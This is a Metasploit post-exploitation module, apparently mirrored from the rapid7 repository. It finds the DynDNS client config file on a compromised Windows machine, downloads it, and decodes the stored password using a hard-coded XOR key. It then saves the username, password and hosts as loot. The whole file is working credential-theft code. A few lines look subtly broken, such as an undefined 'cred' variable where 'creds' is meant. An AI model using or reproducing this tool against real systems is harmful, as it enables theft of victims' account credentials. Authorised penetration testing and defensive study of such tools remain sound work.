Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/dyndns.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Windows Gather DynDNS Client Password Extractor',
15
'Description' => %q{
16
This module extracts the username, password, and hosts for DynDNS version 4.1.8.
17
This is done by downloading the config.dyndns file from the victim machine, and then
18
automatically decode the password field. The original copy of the config file is also
19
saved to disk.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [
23
'Shubham Dawra <shubham2dawra[at]gmail.com>', # SecurityXploded.com
24
'sinn3r', # Lots of code rewrite
25
],
26
'Platform' => [ 'win' ],
27
'SessionTypes' => [ 'meterpreter' ],
28
'Notes' => {
29
'Stability' => [CRASH_SAFE],
30
'SideEffects' => [],
31
'Reliability' => []
32
},
33
'Compat' => {
34
'Meterpreter' => {
35
'Commands' => %w[
36
core_channel_eof
37
core_channel_open
38
core_channel_read
39
core_channel_write
40
stdapi_fs_stat
41
]
42
}
43
}
44
)
45
)
46
end
47
48
#
49
# Search for the config file.
50
# Return the config file path, otherwise nil to indicate nothing was found
51
#
52
def get_config_file
53
config_paths = [
54
'C:\\ProgramData\\Dyn\\Updater\\config.dyndns', # Vista
55
'C:\\Documents and Settings\\All Users\\Application Data\\Dyn\\Updater\\config.dyndns' # XP and earlier
56
]
57
58
# Return the first match
59
config_paths.each do |path|
60
return path if exists?(path)
61
end
62
63
nil
64
rescue StandardError
65
nil
66
end
67
68
#
69
# Download the config file, and then load it up in memory.
70
# Return the content.
71
#
72
def load_config_file(config_file)
73
f = session.fs.file.new(config_file, 'rb')
74
content = ''
75
content << f.read until f.eof?
76
p = store_loot('dyndns.raw', 'text/plain', session, 'dyndns_raw_config.dyndns')
77
vprint_good("Raw config file saved: #{p}")
78
return content
79
end
80
81
#
82
# Parse the data
83
# Return: Hash { :username, :pass, :hosts }
84
#
85
def parse_config(content)
86
# Look at each line for user/pass/host
87
user = content.scan(/Username=([\x21-\x7e]+)/)[0][0]
88
pass = content.scan(/Password=([\x21-\x7e]+)/)[0][0]
89
host = content.scan(/Host\d=([\x21-\x7e]+)/)[0]
90
91
# Let's decode the pass
92
pass = decode_password(pass) if !pass.nil?
93
94
# Store data in a hash, save it to the array
95
# Might contain nil if nothing was regexed
96
config_data = {
97
user: user,
98
pass: pass,
99
hosts: host
100
}
101
102
return config_data
103
end
104
105
#
106
# Decode the password
107
#
108
def decode_password(pass)
109
pass = [pass].pack('H*')
110
s = ''
111
c = 0
112
113
pass.each_byte do |a1|
114
a2 = 't6KzXhCh'[c, 1].unpack('c')[0].to_i
115
s << (a1 ^ a2).chr
116
c = ((c + 1) % 8)
117
end
118
119
return s
120
end
121
122
#
123
# Print results and storeloot
124
#
125
def do_report(data)
126
tbl = Rex::Text::Table.new(
127
'Header' => 'DynDNS Client Data',
128
'Indent' => 1,
129
'Columns' => ['Field', 'Value']
130
)
131
132
creds = Rex::Text::Table.new(
133
'Header' => 'DynDNS Credentials',
134
'Indent' => 1,
135
'Columns' => ['User', 'Password']
136
)
137
138
# Store username/password
139
cred << [data[:user], data[:pass]]
140
141
if !creds.rows.empty?
142
p = store_loot(
143
'dyndns.creds',
144
'text/csv',
145
session,
146
creds.to_csv,
147
'dyndns_creds.csv',
148
'DynDNS Credentials'
149
)
150
print_status("Parsed creds stored in: #{p}")
151
end
152
153
# Store all found hosts
154
hosts = data[:hosts]
155
hosts.each do |host|
156
tbl << ['Host', host]
157
end
158
159
print_status(tbl.to_s)
160
161
if !tbl.rows.empty?
162
p = store_loot(
163
'dyndns.data',
164
'text/plain',
165
session,
166
tbl.to_csv,
167
'dyndns_data.csv',
168
'DynDNS Client Data'
169
)
170
print_status("Parsed data stored in: #{p}")
171
end
172
end
173
174
#
175
# Main function, duh
176
#
177
def run
178
# Find the config file
179
config_file = get_config_file
180
if config_file.nil?
181
print_error('No config file found, will not continue')
182
return
183
end
184
185
# Load the config file
186
print_status('Downloading config.dyndns...')
187
content = load_config_file(config_file)
188
189
if content.empty?
190
print_error('Config file seems empty, will not continue')
191
return
192
end
193
194
# Get parsed data
195
config = parse_config(content)
196
197
# Store data
198
do_report(config)
199
end
200
end
201
202